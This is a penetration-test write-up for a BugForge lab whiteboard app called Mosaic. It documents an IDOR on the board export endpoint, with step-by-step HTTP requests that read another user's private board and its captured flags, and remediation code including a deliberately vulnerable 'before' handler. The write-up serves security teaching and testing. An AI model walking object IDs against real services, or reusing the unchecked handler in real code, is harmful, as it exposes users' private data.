BugForge — 2026.10.12

Mosaic: IDOR on Board Export

BugForge IDOR / Broken Object Level Authorization easy

Executive Summary

Mosaic is a collaborative whiteboard application: a Vue 3 SPA in front of an Express-style JSON API, with an opaque mosaic_session cookie, a CSRF header on API calls, and a strict CSP. Users register into their own workspace, create boards, place notes and frames on a canvas, comment, invite collaborators, and export a board as JSON.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 IDOR on board export: authenticated user reads another user’s private board Medium 6.5 CWE-639 GET /api/boards/:id/export

The board export endpoint returns any board by ID without checking that the requester owns or belongs to it. Board IDs are sequential integers. The board detail, history and sharing routes return 404 for a board the requester is not a member of, but the export route on the same board returns 200 with its title, description, items and comments. Exporting board 1003, which is absent from our own board list, returned a private board titled “A quiet corner” containing the flag.


Objective

Identify and exploit security defects in the Mosaic whiteboard application (BugForge lab) and retrieve the flag.


Scope / Initial Access

# Target Application
URL (solve):   https://lab-1791839381488-f3pmu8.labs-app.bugforge.io/
URL (control): https://lab-1791839834887-9aknb1.labs-app.bugforge.io/  (respawned instance)

# Auth details
POST /api/auth/register {name,email,password} -> 201 + Set-Cookie: mosaic_session (HttpOnly, SameSite=Strict, 8h)
GET  /api/auth/me -> {user:{id,workspace_id,name,email,role,color}, csrf}
API calls carry the csrf value in an X-CSRF-Token header.
A new account gets its own workspace (role "admin" of that workspace) and an auto-created welcome board.

The flag is generated per instance: the solve instance returned bug{vHf61Iqtwzavht1IiIZSGPvz9M0BsK2M} and the respawned control instance returned bug{YJKJkQPGwd93EWu4SB7ie910rlOkoONQ} from the same request.


Reconnaissance: Walking the App and Reading the Bundle

The application was walked as a normal user through the proxy (register, rename profile, change password, create a board, add a note, invite, comment, archive and restore, open history and sharing), and the Vite bundle /assets/index-DdB30dw5.js was read for the full route list.

  1. Board IDs are sequential integers serialized as strings. Our welcome board was 1005 and the board we created was 1006, so IDs 1001 to 1004 existed before our account did.
  2. GET /api/boards returned only boards 1005 and 1006, both with our owner_id.
  3. Every board call in the bundle goes through one fetch helper that prefixes /api and attaches the CSRF header. The export button is the exception, a plain link:
// fetch helper
fetch("/api"+m,{method:o,headers:{"Content-Type":"application/json","X-CSRF-Token":Se},body:...})

// export button
u("a",{class:"secondary",href:"/api/boards/"+S.value.id+"/export"},[ ... U("Export",-1) ])
  1. Clicking Export sends a browser navigation with no CSRF header and receives Content-Disposition: attachment; filename="mosaic-board.json". Because the export route is called differently from every other board route, its authorization was tested separately.

Application Architecture

Component Detail
Frontend Vue 3 SPA (@vue/shared 3.5.43), Vite bundle index-DdB30dw5.js
Backend Express-style JSON API (weak W/"..." ETags, {"error":"..."} envelope); framework not confirmed
Auth Opaque mosaic_session cookie, rotated on password change; CSRF token from /api/auth/me
Headers CSP script-src 'self', X-Frame-Options: DENY, nosniff, CORP same-origin
Realtime WebSocket /live?board=<id> (subprotocol mosaic)
IDs Boards: sequential integers. Items, comments, users, workspaces: UUIDv4

API Surface

Endpoint Method Auth Notes
/api/auth/register POST No Creates user, workspace and welcome board
/api/auth/me GET Yes User object + CSRF token
/api/boards GET / POST Yes List returns only our boards
/api/boards/:id GET Yes 404 for a non-member
/api/boards/:id PATCH Yes Not tested against a foreign ID
/api/boards/:id/history GET Yes 404 for a non-member
/api/boards/:id/sharing GET Yes 404 for a non-member
/api/boards/:id/export GET Yes Reached by <a href>; returns any board (F1)
/api/boards/:id/items, /comments, /invites, /members, /share various Yes Board content and collaboration
/api/boards/:id/duplicate, /restore, /favorite POST Yes Not tested against a foreign ID
/live?board=:id WS Yes Not tested against a foreign ID

Attack Chain Visualization

┌──────────────────────┐    ┌──────────────────────┐    ┌──────────────────────┐    ┌──────────────────────┐
│ 1. Register          │    │ 2. List our boards   │    │ 3. Export own board  │    │ 4. Export board 1003 │
│                      │    │                      │    │                      │    │                      │
│ POST /api/auth/      │    │ GET /api/boards      │    │ GET /api/boards/     │    │ GET /api/boards/     │
│   register           │───▶│                      │───▶│   1006/export        │───▶│   1003/export        │
│ session cookie, own  │    │ only 1005 and 1006   │    │ 200, JSON attachment │    │ 200, private board   │
│ boards 1005, 1006    │    │ 1003 is not ours     │    │                      │    │ "A quiet corner"     │
│                      │    │                      │    │                      │    │ + flag               │
└──────────────────────┘    └──────────────────────┘    └──────────────────────┘    └──────────────────────┘

Findings

F1: IDOR on Board Export: Authenticated User Reads Another User’s Private Board

Severity: Medium CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-639 (Authorization Bypass Through User-Controlled Key) Endpoint: GET /api/boards/:id/export Authentication required: Yes (every request sent carried a session cookie; an unauthenticated request was not tested)

Description

GET /api/boards/:id/export returns the JSON export (title, description, items, comments) of the board named in the path without checking that the requester owns or is a member of that board.

The other board routes do check. As a freshly registered user who owns only board 1005, on the respawned instance:

Route Own board 1005 Board 1003
GET /api/boards/:id 200 404 {"error":"Board not found."}
GET /api/boards/:id/history 200 404 {"error":"Board not found."}
GET /api/boards/:id/sharing 200 404 {"error":"Board not found."}
GET /api/boards/:id/export 200 200, full export + flag

Board 1003 is not in our board list, and its title and description (“A quiet corner”, “Personal ideas before they’re ready to share.”) identify it as another user’s private board. The export response omits owner_id and workspace_id, so the owning workspace was not captured; since registration creates a separate workspace per account, 1003 most likely belongs to another workspace, but this is inferred. Board 1003 was chosen by counting down from our own IDs and was the only foreign board exported; 1001, 1002 and 1004 were not requested. Because the IDs are sequential and the export route returned the full contents of a board we have no access to, every board’s contents are reachable the same way, which is the basis for the High confidentiality rating.

Impact

Would allow any registered user to read the full contents of other users’ private boards they were never given access to.

Reproduction

Step 1: Register an account

POST /api/auth/register HTTP/1.1
Host: lab-1791839381488-f3pmu8.labs-app.bugforge.io
Content-Type: application/json

{"name":"haxor","email":"[email protected]","password":"password"}

Response: 201 Created, {"ok":true}, Set-Cookie: mosaic_session=.... The account gets its own workspace and welcome board 1005; a second board created through the UI gets ID 1006.

Step 2: Confirm which boards belong to us

GET /api/boards HTTP/1.1
Host: lab-1791839381488-f3pmu8.labs-app.bugforge.io
Cookie: mosaic_session=<our session>
X-CSRF-Token: <csrf from /api/auth/me>

Response: 200 OK, an array containing only boards 1006 and 1005, both with "role":"owner" and our owner_id. Board 1003 is not listed.

Step 3: Export our own board (baseline)

GET /api/boards/1006/export HTTP/1.1
Host: lab-1791839381488-f3pmu8.labs-app.bugforge.io
Cookie: mosaic_session=<our session>
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="mosaic-board.json"
Content-Type: application/json; charset=utf-8

{"title":"tset","description":"test","items":[{"id":"2602311d-5844-4fff-ad8b-83f94952b2cf","type":"note","text":"A new idea…","x":742,"y":398,"width":230,"height":210,"color":"butter"}],"comments":[]}

The export body is a projection of the board selected by the path ID.

Step 4: Export board 1003

GET /api/boards/1003/export HTTP/1.1
Host: lab-1791839381488-f3pmu8.labs-app.bugforge.io
Cookie: mosaic_session=<our session>
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="mosaic-board.json"
Content-Type: application/json; charset=utf-8

{"title":"A quiet corner","description":"Personal ideas before they’re ready to share.","flag":"bug{vHf61Iqtwzavht1IiIZSGPvz9M0BsK2M}","items":[],"comments":[]}

A board absent from our list is returned in full, with the flag in a flag key.

Step 5: Confirm the sibling routes are gated (respawned instance, fresh account owning only 1005)

GET /api/boards/1003 HTTP/1.1
Host: lab-1791839834887-9aknb1.labs-app.bugforge.io
Cookie: mosaic_session=<fresh session>
X-CSRF-Token: <csrf>
HTTP/1.1 404 Not Found

{"error":"Board not found."}

/api/boards/1003/history and /api/boards/1003/sharing return the same 404. The export route with the same session:

GET /api/boards/1003/export HTTP/1.1
Host: lab-1791839834887-9aknb1.labs-app.bugforge.io
Cookie: mosaic_session=<fresh session>
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="mosaic-board.json"
Content-Type: application/json; charset=utf-8

{"title":"A quiet corner","description":"Personal ideas before they’re ready to share.","flag":"bug{YJKJkQPGwd93EWu4SB7ie910rlOkoONQ}","items":[],"comments":[]}

All four routes return 200 for our own board 1005.

Remediation

Fix 1: Apply the membership check the other board routes use

The detail, history and sharing routes return 404 for non-members; the export route should call whatever lookup those routes already use rather than fetching the board by ID alone. The code below is illustrative (source was not available); the membership table stands in for however the application records owners and members.

// BEFORE (Vulnerable)
router.get('/boards/:id/export', requireAuth, async (req, res) => {
  const board = await db.get('SELECT * FROM boards WHERE id = ?', req.params.id);
  if (!board) return res.status(404).json({ error: 'Board not found.' });
  res.attachment('mosaic-board.json').json(exportBoard(board));
});

// AFTER (Secure)
router.get('/boards/:id/export', requireAuth, async (req, res) => {
  const board = await db.get(
    `SELECT b.* FROM boards b
       JOIN board_members m ON m.board_id = b.id
      WHERE b.id = ? AND m.user_id = ?`,
    req.params.id, req.user.id
  );
  if (!board) return res.status(404).json({ error: 'Board not found.' });
  res.attachment('mosaic-board.json').json(exportBoard(board));
});

Fix 2: Enforce board membership once for every /boards/:id route

Resolve and authorize the board in one router parameter handler so a route added later (export, duplicate, a WebSocket join) cannot be registered without the check.

// BEFORE (Vulnerable): illustrative; each route resolves the board on its own

// AFTER (Secure)
router.param('id', async (req, res, next, id) => {
  const board = await loadBoardForMember(id, req.user.id);
  if (!board) return res.status(404).json({ error: 'Board not found.' });
  req.board = board;
  next();
});

Additional recommendations:

  • Add an authorization regression test that requests every /api/boards/:id/* route with a non-member session and expects 404.
  • Apply the same check to POST /duplicate, /restore and the /live?board= WebSocket join, which were not tested against a foreign ID.
  • Use non-sequential board identifiers (UUIDs) as defence in depth so board IDs cannot be walked.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: the export route returns a board to a user who is not a member of it, while sibling routes on the same board deny that user.
  • API1:2023 Broken Object Level Authorization (OWASP API Top 10): the board is selected purely by a sequential ID in the path with no object-level check on the export handler.

Tools Used

Tool Purpose
Caido Proxy history of the site walk and Replay for ID substitution on the export request
Firefox Walking the application as a normal user
curl Control requests on the respawned instance

References


Failed Approaches

None. The first foreign board ID tried on the export route returned the board. The gated detail, history and sharing routes are the control for the finding and are shown in the Description table and Step 5.


Tags: #idor #bola #broken-access-control #sibling-route #export #bugforge Document Version: 1.1 Last Updated: 2026-10-13

#idor #bola #broken-access-control #sibling-route #export #bugforge